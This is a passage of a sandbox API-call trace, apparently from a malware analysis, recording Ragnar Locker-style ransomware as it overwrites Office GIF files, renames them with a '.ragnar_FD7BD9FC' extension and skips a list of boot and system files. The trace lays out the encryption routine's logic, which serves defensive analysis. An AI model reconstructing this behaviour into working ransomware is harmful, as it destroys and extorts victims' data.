office\\media\\office14\\bullets\\bd21297_.gif")) returned 0x20 [0099.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.754] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=880) returned 1 [0099.754] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.754] GetProcessHeap () returned 0x580000 [0099.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.754] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.777] VirtualAlloc (lpAddress=0x0, dwSize=0x370, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.777] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.777] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.777] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x370, lpOverlapped=0x0) returned 1 [0099.777] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.777] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x370, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.777] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x370, lpOverlapped=0x0) returned 1 [0099.778] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.778] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.778] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.778] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.778] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.778] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.778] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.778] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.778] GetProcessHeap () returned 0x580000 [0099.778] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.778] CloseHandle (hObject=0x10c) returned 1 [0099.778] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" [0099.778] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.ragnar_FD7BD9FC" [0099.778] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21297_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.779] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a914a00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a914a00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21298_.GIF", cAlternateFileName="")) returned 1 [0099.779] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.779] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21298_.GIF" | out: lpString1="BD21298_.GIF") returned="BD21298_.GIF" [0099.779] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF") returned=".GIF" [0099.779] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.779] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="autorun.inf") returned 1 [0099.779] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="boot.ini") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="bootfont.bin") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="bootsect.bak") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="bootmgr") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="bootmgr.efi") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="desktop.ini") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="iconcache.db") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="ntldr") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="ntuser.dat") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="ntuser.ini") returned -1 [0099.780] lstrcmpiW (lpString1="BD21298_.GIF", lpString2="thumbs.db") returned -1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.780] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif")) returned 0x20 [0099.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.782] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=101) returned 1 [0099.782] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.782] GetProcessHeap () returned 0x580000 [0099.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.782] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.785] VirtualAlloc (lpAddress=0x0, dwSize=0x65, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.785] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x65, lpOverlapped=0x0) returned 1 [0099.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.785] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.785] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x65, lpOverlapped=0x0) returned 1 [0099.786] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.786] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.786] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.786] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.786] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.786] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.786] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.786] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.786] GetProcessHeap () returned 0x580000 [0099.786] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.786] CloseHandle (hObject=0x10c) returned 1 [0099.786] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" [0099.786] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.ragnar_FD7BD9FC" [0099.786] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21298_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21298_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.788] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49601d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49601d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21299_.GIF", cAlternateFileName="")) returned 1 [0099.788] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.788] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21299_.GIF" | out: lpString1="BD21299_.GIF") returned="BD21299_.GIF" [0099.788] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF") returned=".GIF" [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="autorun.inf") returned 1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="boot.ini") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="bootfont.bin") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="bootsect.bak") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="bootmgr") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="bootmgr.efi") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="desktop.ini") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="iconcache.db") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="ntldr") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="ntuser.dat") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="ntuser.ini") returned -1 [0099.788] lstrcmpiW (lpString1="BD21299_.GIF", lpString2="thumbs.db") returned -1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.788] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif")) returned 0x20 [0099.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.789] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=79) returned 1 [0099.789] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.789] GetProcessHeap () returned 0x580000 [0099.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.789] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.790] VirtualAlloc (lpAddress=0x0, dwSize=0x4f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.790] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.790] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.790] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4f, lpOverlapped=0x0) returned 1 [0099.790] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.790] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.790] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4f, lpOverlapped=0x0) returned 1 [0099.790] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.791] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.791] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.791] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.791] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.791] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.791] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.791] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.791] GetProcessHeap () returned 0x580000 [0099.791] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.791] CloseHandle (hObject=0x10c) returned 1 [0099.791] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" [0099.791] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.ragnar_FD7BD9FC" [0099.791] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21299_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21299_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.792] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482ef000, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x482ef000, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21300_.GIF", cAlternateFileName="")) returned 1 [0099.793] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.793] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21300_.GIF" | out: lpString1="BD21300_.GIF") returned="BD21300_.GIF" [0099.793] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF") returned=".GIF" [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="autorun.inf") returned 1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="boot.ini") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="bootfont.bin") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="bootsect.bak") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="bootmgr") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="bootmgr.efi") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="desktop.ini") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="iconcache.db") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="ntldr") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="ntuser.dat") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="ntuser.ini") returned -1 [0099.793] lstrcmpiW (lpString1="BD21300_.GIF", lpString2="thumbs.db") returned -1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.793] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif")) returned 0x20 [0099.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.794] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: 